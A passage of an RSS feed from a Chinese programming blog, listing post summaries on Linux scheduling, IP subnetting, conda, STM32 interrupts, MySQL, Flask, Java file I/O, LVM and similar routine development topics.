      <description>目录&#xA;一、安装 at 命令&#xA;二、at 命令基本用法&#xA;使用 at 命令交互性安排任务&#xA;使用 at 命令安排任务&#xA;查看 at 任务队列&#xA;使用 at 命令，你可以在特定时间自动完成你所 设定的任务，也可以实现自动化，非常方便快捷！&#xA;一、安装 at 命令 使用下面的命令安装：yum install at -y&#xA;安装成功后使用 systemctl 命令启用 atd 服务并将它们设置为从现：systemctl start atd&#xA;再开始自动启动： systemctl enable --now atd&#xA;二、at 命令基本用法 语法： at [选项] [日期时间]&#xA;选项：&#xA;-f：指定包含具体指令的任务文件&#xA;-q：指定新任务的队列名称&#xA;-l：显示待执行任务的列表&#xA;-d：删除指定的待执行任务&#xA;-m：任务执行完成后向用户发送 E-mail 参数 日期时间：指定任务执行的日期时间&#xA;使用 at 命令交互性安排任务 首先你输入 at 命令，然后再跟上具 体的时间。 回车之后就进入到交互性界面，你再具体输入要做的事情（命令），最后以结束输 入，任务就设置好了。&#xA;例如:&#xA;你想在早上 11:07 的时候，在 1.txt 文档里写入 123 这句 话，可以这样交互性输入：</description>
    </item>
    <item>
      <title>【计算机网络】 IP地址划分</title>
      <link>https://bchobby.github.io/posts/7cef33a42f7fa9b3999ae584c2310b0c/</link>
      <pubDate>Sat, 17 Dec 2022 09:04:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cef33a42f7fa9b3999ae584c2310b0c/</guid>
      <description>目录&#xA;一、IPv4地址概述&#xA;二、ip地址的组成和表示方式&#xA;点分十进制&#xA;二进制转十进制 十进制转二进制&#xA;三、分类编址的IPv4地址 A类地址&#xA;B类地址&#xA;C类地址 IP地址的分类&#xA;特殊的IP地址&#xA;练习&#xA;四、子网IP的划分&#xA;子网划分划分目的&#xA;逻辑与的概念&#xA;五、无分类编址的IPv4地址&#xA;无分类编址的IPv4地址--总结&#xA;一、IPv4地址概述 二、ip地址的组成和表示方式 点分十进制 ip地址（ipv4）由32位二进制数组成，分为4段（4个字节），每一段为8位二进制数 （1个字节），每一段8位二进制，中间使用英文的标点符号“.”隔开。&#xA;由于二进制数太长，为了便于记忆和识别，把每一段8位二进制数转成十进制，大小 为0-255，这种表示Ip地址的方法称为“点分十进制数法”，表示为如192.168.0.1这样 的IP地址。&#xA;二进制转十进制 十进制转二进制 三、分类编址的IPv4地址 网络号一般是不会变的，用来标识是属于哪个网段的，主机号用来分配主机或路由器；&#xA;A类地址 B类地址 C类地址 IP地址的分类 特殊的IP地址 练习 四、子网IP的划分 子网划分划分目的 节约IP地址，避免浪费。限定广播的传播。保证网络的安全了几个。有助于覆盖大型地理区域。 32比特的子网掩码可以表明分类IP地址的主机号被借用几个比特作为子网号&#xA;逻辑与的概念 简单来说 全1为1，有0为0&#xA;0 1 0 0 1 1 1 1 0 1 0 0 -------------------&#xA;0 1 0 0 0 0 一个比特位表示从主机号中借用一个比特作为子网掩码，所以分配的子网为218.75.230.00000000&#xA;218.75.230.10000000；&#xA;子网0可分配的最小地址为218.75.230.0000001（218.75.230.1），最大地址为218.75.230.01111110(218.75.230.126)&#xA;子网1可分配的最小地址为218.75.230.1000001（218.75.230.129），最大地址为218.75.230.11111110(218.75.230.254)&#xA;一个比特位表示从主机号中借用一个比特作为子网掩码，可以理解为子网 218.75.230.0000 0000中的218.75.230.0作为了网络号，剩余的7位比特作为主机号，主机号则不能出现全0或全1，子网1218.75.230.1000000中也一样；（全1是广播地址，全0是网络地址）</description>
    </item>
    <item>
      <title>前端json数据遍历如何形成一对多的关系问题</title>
      <link>https://bchobby.github.io/posts/dd78ff9ca3958ea4111b44d05b7250f8/</link>
      <pubDate>Sat, 17 Dec 2022 02:00:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd78ff9ca3958ea4111b44d05b7250f8/</guid>
      <description>前端接收json数据总是存在一个这样的问题如图：&#xA;我想达到的效果是：&#xA;标题1：&#xA;商品1&#xA;商品2&#xA;标题2：&#xA;商品1&#xA;标题3：&#xA;商品1&#xA;商品2&#xA;商品3&#xA;.......&#xA;很明显，对于放在同一个json数据集里面，在遍历的时候存在一个标题对应多个商品的情况，但是这样的遍历话标题会随着商品的出现次数而被打印N次。我的问题是如何让遍历形成一种一对多的关系？</description>
    </item>
    <item>
      <title>vscode 配置R</title>
      <link>https://bchobby.github.io/posts/4604e38450e9e997e662089fe036eb92/</link>
      <pubDate>Sat, 17 Dec 2022 00:46:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4604e38450e9e997e662089fe036eb92/</guid>
      <description>conda solving environment慢： 其中一个方法：更新conda&#xA;conda upgrade -n base -c defaults --override-channels conda conda solving environment慢： 第二个方法：安装mamba&#xA;conda install -c conda-forge mamba mamba install 包名 安装完之后就可以使用mamba来替代conda进行所有下载操作&#xA;VScode连接远程服务器创建jupyter后运行R 使用conda search r-base在conda的频道中检索都有什么版本的R&#xA;为R创建一个虚拟环境，推荐通过新建环境的方式安装不同版本的R语言，这样就能在不同环境间切换，然后在该虚拟环境下安装ipykernel，为了能运行jupter&#xA;conda create -n r-4.2.2 r-base=4.2.2 source activate r-4.2.2 #添加镜像源 conda config --add channels http://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels http://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge conda config --add channels http://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/ conda config --add channels http://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/ conda config --set show_channel_urls yes # conda install ipykernel #用Jupyter notebook调用R，再下载一个irkernel</description>
    </item>
    <item>
      <title>STM32 HAL 库实现gpio外部中断</title>
      <link>https://bchobby.github.io/posts/947eb7073f78f6389b50a22fe568170f/</link>
      <pubDate>Fri, 16 Dec 2022 22:35:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/947eb7073f78f6389b50a22fe568170f/</guid>
      <description> 功能很简单,就是按键实现一个中断,然后使用一个变量做计数&#xA;HAL_GPIO_EXTI_Callback 这个回调函数中,判断GPIO_PIN_X即可,选择那个gpio就用那个gpio,比如PB0打开外部中断后,那么pa0在cubemx中就不能同时设置外部中断。&#xA;我不确定PB0设置了外部中断后，那么加入PA0是否也会被中断打断，或者说有什么影响。&#xA;不过如下代码就可以判断这个GPIO中断之后，所需要做的事情；&#xA;我创建了一个EXTI_Gpio.c的文件,内容如下&#xA;#include &#34;gpio.h&#34; #include &#34;stdio.h&#34; uint32_t CountBtn; /** * @brief 外部中断函数处理 * @param GPIO_Pin:中断引脚号 * @retval None */ void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin) { if(GPIO_Pin == GPIO_PIN_0) { CountBtn++; } } </description>
    </item>
    <item>
      <title>MySQL -2 指令</title>
      <link>https://bchobby.github.io/posts/1ac8241dc55136e0831379ddb97ce524/</link>
      <pubDate>Fri, 16 Dec 2022 19:09:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ac8241dc55136e0831379ddb97ce524/</guid>
      <description>客户端SQL指令记录： -- 针对 数据库和针对数据表&#xA;（一）数据库&#xA;1. 查看当前所有数据库：show databases;&#xA;2. 创建数据库：create database 数据库名 DEFAULT CHARSET utf8 COLLATE utf8_general_ci;&#xA;3. 删除数据库：drop database 数据库名;&#xA;4. 进入数据库：use 数据库; 》》 show tables;&#xA;python 代码远程发送SQL指令给MySQL&#xA;英语单词：&#xA;collate: vt.核对，校对；校勘 ==&amp;gt; 字符集的设定，需要校对&#xA;cursor : 游标；n.光标；（计算尺的）[计] 游标，指针&#xA;commit: 委托，==》 connect 对象类似于一个中间人，每次需要execute SQL指令，都需要中介人委托一下；而要求的SQL指令会记录到游标中进行传递信息；&#xA;fetch: v.（去）拿来，（去）找来&#xA;import pymysql # 连接MySQL conn = pymysql.connect(host=&#39;127.0.0.1&#39;, port=3306, user=&#39;root&#39;, passwd=&#39;root123&#39;, charset=&#39;utf8&#39;) cursor = conn.cursor() #发送指令 cursor.execute(&#34;show databases&#34;) #会有返回值 5，意思是有五个数据库 result = cursor.fetchall() print(result) #((&#39;information_schema&#39;,), (&#39;db2&#39;,), (&#39;mysql&#39;,), (&#39;performance_schema&#39;,), (&#39;sys&#39;,)) cursor.</description>
    </item>
    <item>
      <title>auto 类型</title>
      <link>https://bchobby.github.io/posts/58ac07f8cdab3bfcd02ea6240ebe9e73/</link>
      <pubDate>Fri, 16 Dec 2022 19:03:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58ac07f8cdab3bfcd02ea6240ebe9e73/</guid>
      <description>1.atuo 定义必须要初始化&#xA;auto i = 0；&#xA;2.auto 可以同时声明多个变量，但类型必须相同&#xA;atuo sz=0，pi=3.14；&#xA;3.数组不能直接使用auto&#xA;auto b[3] = { 1,2,3 };&#xA;4.模板实例化不能使用auto&#xA;vector&amp;lt;auto&amp;gt; b[3] = { 1,2,3 };&#xA;5.类成员变量不能使用auto&#xA;6.如果想得到const类型，需要明确指出&#xA;const auto f = &amp;amp;i；&#xA;7.不能将常量引用绑定字面值，可以绑定到常量引用上&#xA;auto &amp;amp;i = 10;&#xA;const auto &amp;amp;i = 10;</description>
    </item>
    <item>
      <title>mysql无法启动</title>
      <link>https://bchobby.github.io/posts/5bf7dc650bb8a8f4a6a97f93e14e06b0/</link>
      <pubDate>Fri, 16 Dec 2022 18:54:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5bf7dc650bb8a8f4a6a97f93e14e06b0/</guid>
      <description>MySQL 无法启动可能有多种原因。&#xA;MySQL 服务器没有正确安装或者配置。在这种情况下，您可以尝试重新安装 MySQL 服务器，或者检查 MySQL 服务器的配置文件(通常是 my.cnf 或者 my.ini)，确保它正确配置了数据库目录、端口号等信息。&#xA;MySQL 服务器遇到了意外错误。在这种情况下，您可以尝试查看 MySQL 服务器的错误日志(通常在 MySQL 的数据库目录下的 log 文件夹中)，以确定错误的原因。&#xA;MySQL 服务器的进程已经在运行，但是由于某些原因无法连接到数据库。在这种情况下，您可以尝试重启 MySQL 服务器的进程，或者使用命令行工具 mysqladmin 来检查 MySQL 服务器的状态。&#xA;如果以上方法都不能解决 MySQL 无法启动的问题，您还可以尝试搜索相关的错误信息，或者向 MySQL 官方或者其他专业人士寻求帮助。</description>
    </item>
    <item>
      <title>flask框架之多app应用、flask-scrip、导出依赖、偏函数、threading.local、请求上下文执行流程</title>
      <link>https://bchobby.github.io/posts/2a77cdde04a7e12511a8653d6fd49aa7/</link>
      <pubDate>Fri, 16 Dec 2022 16:11:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a77cdde04a7e12511a8653d6fd49aa7/</guid>
      <description>多app应用 以前我们在写flask都是实例化得到一个app对象，其实flask是可以使用多个app&#xA;from flask import Flask from werkzeug.middleware.dispatcher import DispatcherMiddleware from werkzeug.serving import run_simple app01 = Flask(&#39;app01&#39;) app02 = Flask(&#39;app02&#39;) @app01.route(&#39;/app01&#39;) def index(): return &#39;app01&#39; dm = DispatcherMiddleware(app01, {&#39;/app02&#39;: app02}) @app02.route(&#39;/app02&#39;) def home(): return &#39;app02&#39; if __name__ == &#39;__main__&#39;: run_simple(&#39;localhost&#39;, 5000, dm) ps：内部执行&#xA;1.请求来了会执行dm(environ,start_response)&#xA;2.dm的__call__根据请求的地址拿到不同的app，执行app(environ,start_response)&#xA;flask_script使用 通过这个第三方模块我们可以定制命令，完成像django的 python manage.py runserver的命令&#xA;安装模块&#xA;pip3 install flask-script &#39;&#39;&#39; 注意依赖版本： Flask==2.2.2 Flask_Script==2.0.3 &#39;&#39;&#39; 快速使用&#xA;from flask import Flask from flask_script import Manager app = Flask(__name__) manager = Manager(app) if __name__ == &#39;__main__&#39;: manager.</description>
    </item>
    <item>
      <title>JAVA三种文件读写操作，四种文件拷贝操作</title>
      <link>https://bchobby.github.io/posts/cb5e3a181c467fd15350d18d644b10fe/</link>
      <pubDate>Fri, 16 Dec 2022 12:41:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb5e3a181c467fd15350d18d644b10fe/</guid>
      <description>一、文件读写操作 1.使用FileWriter和FileReader，对文件内容按字符读取 String dir = &#34;D:\\aaa\\a.txt&#34;; File file = new File(dir); //如果文件不存在，创建文件 if (!file.exists()) file.createNewFile(); //创建FileWriter对象 FileWriter writer = new FileWriter(file); //向文件中写入内容 writer.write(&#34;the first way to write and read&#34;); writer.flush(); //刷新该流的缓冲。 writer.close(); //创建FileReader对象，读取文件中的内容 FileReader reader = new FileReader(file); char[] ch = new char[100]; reader.read(ch); for(char c:ch) { System.out.print(c); } System.out.println(); reader.close(); 2.使用包装类BuffredReader和BufferedWriter，对文件内容进行整行读取 String dir = &#34;D:\\aaa\\b.txt&#34;; File file = new File(dir); //如果文件不存在，创建文件 if (!file.exists()) file.createNewFile(); //创建BufferedWriter对象并向文件写入内容 BufferedWriter bw = new BufferedWriter(new FileWriter(file)); //向文件中写入内容 bw.</description>
    </item>
    <item>
      <title>Linux Command vgextend 扩展卷组</title>
      <link>https://bchobby.github.io/posts/168ca740e8e5b537ed009fce83c12dfe/</link>
      <pubDate>Fri, 16 Dec 2022 12:02:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/168ca740e8e5b537ed009fce83c12dfe/</guid>
      <description>Linux Command vgextend 扩展卷组 tags: 设备&#xA;文章目录 Linux Command vgextend 扩展卷组1. 简介2. 什么是 LVM？3. Creating Physical Volumes4. Creating Volume Groups5. extend Volume Groups 1. 简介 在 Linux 中使用逻辑卷管理 (LVM) 为用户提供了创建和使用分区的灵活性。您可以轻松地创建、修改、调整大小和删除各种存储卷。&#xA;您可以使用vgextend命令通过物理卷扩展卷组来轻松调整其大小。该命令很简单，只需在使用 vgextend 命令时添加物理卷作为参数即可。&#xA;2. 什么是 LVM？ LVM 是一个 Linux 系统，负责管理 Linux 系统中的文件系统和逻辑卷。尽管 Linux 中还有其他卷管理工具，但还是推荐使用 LVM 的高级功能。正如我们将在本指南中看到的那样，您可以使用此命令行工具实现很多目标。&#xA;为了更好地理解如何使用vgextend命令，我们将创建两个物理卷和一个卷组。完成后，我们将使用 vgextend 将一个物理卷添加到另一个物理卷的卷组中。&#xA;3. Creating Physical Volumes 我们目前没有物理卷。我们需要一个块设备来初始化物理卷。我们可以使用以下命令列出块设备：&#xA;$ pvs $ sudo lvmdiskscan 由于我们需要创建两个物理卷，我们将使用/dev/sda1和/dev/sdb1。但在此之前，我们必须卸载块设备。&#xA;要卸载块设备，请使用以下命令并替换块设备以匹配您的情况：&#xA;$ sudo umount /dev/sda1 $ sudo umount /dev/sdb1 卸载块设备后，我们可以继续使用pvcreate命令来初始化物理卷。</description>
    </item>
    <item>
      <title>从 Arm Compiler 5 迁移到 Arm Compiler 6</title>
      <link>https://bchobby.github.io/posts/d05b0e340653691dc53ae63f29237b2e/</link>
      <pubDate>Fri, 16 Dec 2022 11:15:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d05b0e340653691dc53ae63f29237b2e/</guid>
      <description>在开始之前，建议先备份你的工程代码。&#xA;迁移条件&#xA;要使用 ARM Compiler 6，建议MDK的版本至少为：&#xA;MDK版本5.23或更高版本&#xA;MDK版本5.23提供两个编译器，分别是 ARM Compiler 5.06 和 ARM Compiler 6.6。&#xA;软件包也需要支持 ARM Compiler 6，以下是支持 ARM Compiler 6 的最低软件包版本：&#xA;Keil MDK-Middleware包： 版本7.4.0及以上&#xA;Keil ARM Compiler Support 包： 版本1.3.0及以上&#xA;ARM CMSIS 包： 版本5.0.1及以上&#xA;切换编译器&#xA;使用MDK打开工程。&#xA;选择 Project - Options for Target from the menu。&#xA;点击 Target 选项卡，找到 ARM Compiler: 下拉列表。&#xA;设置ARM编译器为 Version 6 。&#xA;点击 OK 键确认更改。&#xA;切换后的ARM Compiler 6所有设置都为默认值。&#xA;设置警告级别&#xA;ARM Compiler 6 提供的警告级别比 ARM Compiler 5 多，如果你习惯 ARM Compiler 5 的警告级别，选择AC5-like Wamings。</description>
    </item>
    <item>
      <title>c语言include语句的一些基本语法(引入任意文件等)</title>
      <link>https://bchobby.github.io/posts/c3f2e662053749e7c6239ed40bb26fcd/</link>
      <pubDate>Thu, 15 Dec 2022 23:02:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3f2e662053749e7c6239ed40bb26fcd/</guid>
      <description>一，c语言include语句的基本语法 首先，众所周知，c语言的#include语句可以引入任何后缀名的文件。&#xA;下面来看它可以怎么引入相关文件&#xA;1，引入标准库头文件 这个就是一般的用法，例如：&#xA;#include&amp;lt;stdio.h&amp;gt; 这个就是引入标准输入输出头文件，有了它，你就可以在接下来的代码里面使用相关的输入输出等函数了。&#xA;这种用法中，include后面接的是尖括号，编译器会在系统目录下寻找这个头文件。&#xA;2，引入自定义文件 （1）同目录下的自定义文件 例如：&#xA;先看一个问题：如何在当前.c文件里引用同目录下的另一个.c文件里面的函数？&#xA;假设当前文件名为main.c，另一个.c文件名为test.c。&#xA;一般情况下，我们都是在.h文件里面声明函数，然后在它同名的.c文件里面实现该函数。然后在另一个.c文件里用include引入.h文件&#xA;但是现在，为了简单且能运行出结果，我就直接在main.c里面用include引入test.c了。&#xA;具体做法如下：&#xA;例如你有两个文件：main.c，test.c。这两个文件都是在同一目录下的。&#xA;在test.c中定义了一个void类型的函数test_out();，&#xA;现在你想在main.c里面调用这个函数。&#xA;两个文件的内容如下：&#xA;test.c&#xA;#include&amp;lt;stdio.h&amp;gt; void test_out() { puts(&#34;you get it!&#34;); } /* 如果要在另一个.c文件里引入test.c文件，那么test.c文件里面是不能写main函数的， 否则两个文件里面都有main函数，就重复了. */ main.c&#xA;#include&amp;lt;stdio.h&amp;gt; #include &#34;test.c&#34; int main() { test_out(); return 0; } 运行main.c的结果：&#xA;可以看到，这种用法中，main.c文件里面的include后面跟的不是尖括号，而是双引号。&#xA;include &#34;文件名&#34;既可以用来引入系统已有的头文件，又可以用来引入用户自定义的文件。&#xA;其他文件类型示例： 随便取一个文件格式：abccd&#xA;同目录下有两个文件:main2.c和test2.abccd&#xA;名为test2的文件，它的文件类型是任意的，里面的内容是：&#xA;#include&amp;lt;stdio.h&amp;gt; void test_out() { puts(&#34;succeed!&#34;); } main2.c里面的内容是：&#xA;#include&amp;lt;stdio.h&amp;gt; #include &#34;test2.abccd&#34; int main() { test_out(); return 0; } 运行main2.</description>
    </item>
    <item>
      <title>Python 下载库文件</title>
      <link>https://bchobby.github.io/posts/604a854439d10c186ed2a7f0f36b159e/</link>
      <pubDate>Thu, 15 Dec 2022 20:30:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/604a854439d10c186ed2a7f0f36b159e/</guid>
      <description>https://www.lfd.uci.edu/~gohlke/pythonlibs/#pywin32https://www.lfd.uci.edu/~gohlke/pythonlibs/#pywin32whl文件安装：pip install 绝对路径 （简单直接），要什么就装什么</description>
    </item>
    <item>
      <title>macos iTerm oh my zsh</title>
      <link>https://bchobby.github.io/posts/ba7e3a926398a4aaff980c9cd0471609/</link>
      <pubDate>Thu, 15 Dec 2022 19:54:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba7e3a926398a4aaff980c9cd0471609/</guid>
      <description>下载iTerm2-Color-Schemes, https://github.com/mbadolato/iTerm2-Color-Schemes.git, 在iTerm的偏好中选择profiles，再选择color，导入下载好的iTerm2-Color-Schemes（从scheme中），我选择的是cyberdyne。安装oh-my-zsh，oh-my-zsh会自动配置zshrc。在zsh’rc配置中找到ZSH_SCHEME,修改为ZSH_THEME=“agnoster”&#xA;记得每次修改完zshrc，需要source激活</description>
    </item>
    <item>
      <title>五个步骤解决IDEA开发卡顿</title>
      <link>https://bchobby.github.io/posts/6b3250af1a90c007b26774f94e2a7cf7/</link>
      <pubDate>Thu, 15 Dec 2022 19:12:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b3250af1a90c007b26774f94e2a7cf7/</guid>
      <description>五招搞定IDEA开发卡顿 大多数开发都会遇到的几个问题，idea显得特别卡，启动项目慢，编译慢，提代码，commit解析也慢，有的甚至会死机，跑几个服务写代码的时候卡的要死，及其影响开发效率，接下来总结一下如果显著提高IDEA开发效率 通过显示内存使用情况查看当前项目占用的内存大小 1.更改操作系统快捷方式 首先，安装IDEA软件后，自动生成的桌面启动方式都是32位的，如果你是64位系统，我们使用这个快捷方式运行大项目，一般都会很卡。找到idea的安装目录，进入bin文件，找到名称为 idea64的程序，生成快捷方式，用这个快捷方式启动 2.更改idea启动配置参数 找到idea安装目录下的bin文件夹下的 idea64.exe.vmoptions 基于 64位机器运行修改相关参数&#xA;1、 -Xms 是最小启动内存参数&#xA;2、 -Xmx 是最大运行内存参数&#xA;3、 -XX:ReservedCodeCacheSize 保留代码占用的内存容量参数&#xA;手动修改&#xA;根据自身机器内存设置&#xA;例如：&#xA;-Xms=1024m&#xA;-Xmx=2048m&#xA;-XX:ReservedCodeCacheSize =300m&#xA;3.增加编译内存（必做） 项目启动慢，项目起不来 就把编译内存搞大点，效果很显著，各方面速度都有提升，计算机配置硬件高的话，可以多分配点编译内存&#xA;4.卸载不必要的插件（选做） 打开settings-plugins&#xA;和java开发无关的都可以卸了&#xA;5.清理缓存（选做） PS:再快的速度也要基于一定的开发电脑配置上，如果本机内存实在太低。。。那还是建议先加个内存条吧~</description>
    </item>
    <item>
      <title>mysql插入大量数据的几种方法executeBatch,load data local infile</title>
      <link>https://bchobby.github.io/posts/1e7009cefb9592b0886a0d1efb50f823/</link>
      <pubDate>Thu, 15 Dec 2022 18:03:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e7009cefb9592b0886a0d1efb50f823/</guid>
      <description>mysql插入数据集合可以循环插入，可以使用jdbc的批处理executeBatch语句，可以使用load data local infile语句插入。&#xA;目录&#xA;一、循环遍历插入&#xA;二、批处理executeBatch语句&#xA;三、load data local infile语句&#xA;1.生成文件插入&#xA;2.采用setLocalInfileInputStream方法，这个方法可以不用生成文件，减少生成文件，往文件写入数据的IO操作&#xA;报错问题&#xA;反射获取表的所有数据库字段名称&#xA;一、循环遍历插入 List&amp;lt;BimXmlLevel&amp;gt; levels=new ArrayList&amp;lt;&amp;gt;(); for (BimXmlLevel level : levels) { service.save(level); } 每个对象每次都会生成一条插入语句 insert into tableName values ()&#xA;这种方法只要数据量一多速度会很慢。&#xA;二、批处理executeBatch语句 使用prepareStatement预编译语句&#xA;使用addBatch，executeBatch批量插入语句&#xA;private static JdbcTemplate jdbcTemplate = SpringContextHolder.getBean(JdbcTemplate.class); /** * 使用prepareStatement预编译语句 * 使用addBatch，executeBatch批量插入语句 * 需要在数据库url连接添加参数rewriteBatchedStatements=true * 实现原理就是把多条插入语句变成一条 INSERT INTO tableName(xx) values(xx),(xx),(xx) * 提示:sql后面不要加; 不然底层会拼接sql报错 * * @param list * @throws Exception */ public static void saveList(List list) throws Exception { long start = System.</description>
    </item>
    <item>
      <title>java 接口返回字符串带引号的问题解决</title>
      <link>https://bchobby.github.io/posts/6929eebe91c8596b6e0add8c525370c2/</link>
      <pubDate>Thu, 15 Dec 2022 17:07:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6929eebe91c8596b6e0add8c525370c2/</guid>
      <description>访问后台接口返回：&#xA;将返回数据修改为文本类型text/plain&#xA;@GetMapping(value = &#34;findSubscribeDetailById&#34;, produces = MediaType.TEXT_PLAIN_VALUE) @ResponseBody public String findSubscribeDetailById(ComponentClientSubscribe componentClientSubscribe) {...} 返回结果：</description>
    </item>
    <item>
      <title>架构设计（日志系统）</title>
      <link>https://bchobby.github.io/posts/ad83a80d2c665b6a4303dd6aaa12b982/</link>
      <pubDate>Thu, 15 Dec 2022 16:47:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad83a80d2c665b6a4303dd6aaa12b982/</guid>
      <description> 架构设计（日志系统） 日志系统 日志系统组件&#xA;logback：日志框架，可将日志输出到控制台、文件、数据库、logstash等目的地 filebeat：日志文件采集组件，一个filebeat处理一个数据源，相比logstash更轻量级，消耗资源更少 kafka：对采集的日志数据缓冲处理，防止logstash负载过高 logstash：可直接采集日志，也可接受filebeat数据源，对日志进行分析过滤 elasticsearch：日志数据通常使用elasticsearch存储 kibana：可视化展示日志数据 logstash采集日志数据（同步或者异步传输）&#xA;filebeat同步采集传输日志：filebeat直传logstash&#xA;filebeat异步采集传输日志：使用kafka异步传输到logstash&#xA;容量分析 采集200台服务器日志，每天的日志总量2TB，每条日志大小约为1kb， 日志处理后进行监控和报警，监控报警延时不能超过5分钟， 每台服务器的日志峰值吞吐量10000/s，所有服务器瞬时峰值之和为1000000/s # 每台机器平均每秒处理的日志量 2TB/200/1kb/(24*60*60)=115/s 115/s小于10000/s，单台服务器可以满足要求 # 网络负载 单台kafka的处理峰值：100000/s 需要kafka机器数：1000000/100000=10 网络负载：100000*1kb=100mb，千兆网卡可以满足需求 # 延时处理 假设每条日志的处理时间为20ms， 1000000*20ms/1000/5分钟=66.7，需要66个cpu处理峰值的吞吐量延时才不会超过5分钟 假设每条服务器4个cpu、8g内存，需要的机器数：66/4=16， 需要16台机器部署logstash对日志进行解析处理 一般需要对系统做5到10倍的冗余处理，防止系统超载，使用docker部署可动态拓展机器 </description>
    </item>
    <item>
      <title>easyExcel导出表头合并 不得不说真牛</title>
      <link>https://bchobby.github.io/posts/daf6eb5a5c15d69b3dae58afd907641e/</link>
      <pubDate>Thu, 15 Dec 2022 14:23:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/daf6eb5a5c15d69b3dae58afd907641e/</guid>
      <description>有个导出单元格合并的任务，表头不规则合并格式，看得就烦，尤其是对于没玩儿过合并的我来说，任务放在哪里不知咋做，网上也看了一堆合并的方法，自己写注解来写的那些，麻烦得要命，我写一半就写不下去了。&#xA;直到我再想重建信心，开始做的时候，去看了下我们统一使用的excel工具是alibaba的easyExcel，然后再去了解这个强大的工具使用。完全可以满足复杂单元格合并的需求。&#xA;现在还在找寻合并单元格方案的朋友们，看这篇文章，轻松搞定！&#xA;1.上效果 2.上代码 其实也就是用了一个注解就搞定了：@ExcelProperty。value内，支持多个值，想哪几列合并，就在第几个参数使用相同的值即可。下面只列举一列，相信大家就能看明白。&#xA;@ExcelProperty(value = {&#34;标准科目名称&#34;}, index = 8) @ColumnWidth(20) private String standardName; @ExcelProperty(value = {&#34;截止至12月31日累计预提余额&#34;,&#34;A&#34;}, index = 9) @ColumnWidth(20) private String accumulatedBalance; @ExcelProperty(value = {&#34;本年年末余额（按计提方式划分）&#34;, &#34;系统计提（附事项申请单）&#34;,&#34;B&#34;}, index = 10) @ColumnWidth(20) private String systemAccrual; @ExcelProperty(value = {&#34;本年年末余额（按计提方式划分）&#34;, &#34;手工计提（附预提费用明细及列明所属期间）&#34;,&#34;C&#34;}, index = 11) @ColumnWidth(20) private String thisYearHandAccrualWithDetail; @ExcelProperty(value = {&#34;本年年末余额（按计提方式划分）&#34;, &#34;手工计提（未附预提费用明细）手工计提（未附预提费用明细）&#34;,&#34;D&#34;}, index = 12) @ColumnWidth(20) private String thisYearHandAccrualWithoutDetail; 导入的excel校验，和读取复杂的导入模板，如合并行或名字重复的表头，还有导出的复杂单元格合并，我最近基本都踩过坑了。在之前看到这问题，想想就头大，现在没在怕的。下一期出个excel复杂表头的校验和读取的文章。&#xA;文章如果写的不清晰的地方，或者没太明白的朋友，大家评论区留言吧~</description>
    </item>
    <item>
      <title>父组件使用this.$refs调用子组件参数或方法时，提示undefined的解决方法</title>
      <link>https://bchobby.github.io/posts/ab703711414c07452bd54aafbd08b73a/</link>
      <pubDate>Thu, 15 Dec 2022 10:40:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab703711414c07452bd54aafbd08b73a/</guid>
      <description>报错信息：Vue warn]: Error in v-on handler: &#34;TypeError: Cannot set property &#39;baseurl&#39; of undefined&#34; found in 这种情况下，一般都是父组件调用子组件方法的时候，子组件还未渲染成功。要搞清楚这个问题，我们要搞清楚父子组件的生命周期就行了。&#xA;1、加载渲染过程&#xA;父beforeCreate-&amp;gt;父created-&amp;gt;父beforeMount-&amp;gt;子beforeCreate-&amp;gt;子created-&amp;gt;子 beforeMount-&amp;gt;子mounted-&amp;gt;父mounted&#xA;2、子组件更新过程&#xA;父beforeUpdate-&amp;gt;子beforeUpdate-&amp;gt;子updated-&amp;gt;父updated&#xA;3、父组件更新过程&#xA;父beforeUpdate-&amp;gt;父updated&#xA;4、销毁过程&#xA;父beforeDestroy-&amp;gt;子beforeDestroy-&amp;gt;子destroyed-&amp;gt;父destroyed&#xA;这种情况下，我们可以在使用父组件调用子组件方法的时候，使用this.$nextTick()&#xA;​ this.$nextTick(() =&amp;gt; { console.log(&#39;子组件参数值为：&#39;, this.$refs.myChild.baseurl) }) ​ 详情请看原作者文章:(4条消息) vue父组件调用子组件this.$refs报错，undefined、not a function问题解决方法_银鞍照白马的博客-CSDN博客_not a functionhttps://blog.csdn.net/weixin_41698051/article/details/112670188</description>
    </item>
    <item>
      <title>通过java代码实现ES中的常用搜索</title>
      <link>https://bchobby.github.io/posts/f76083317aead1a1d87f21370d7c69f7/</link>
      <pubDate>Thu, 15 Dec 2022 09:15:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f76083317aead1a1d87f21370d7c69f7/</guid>
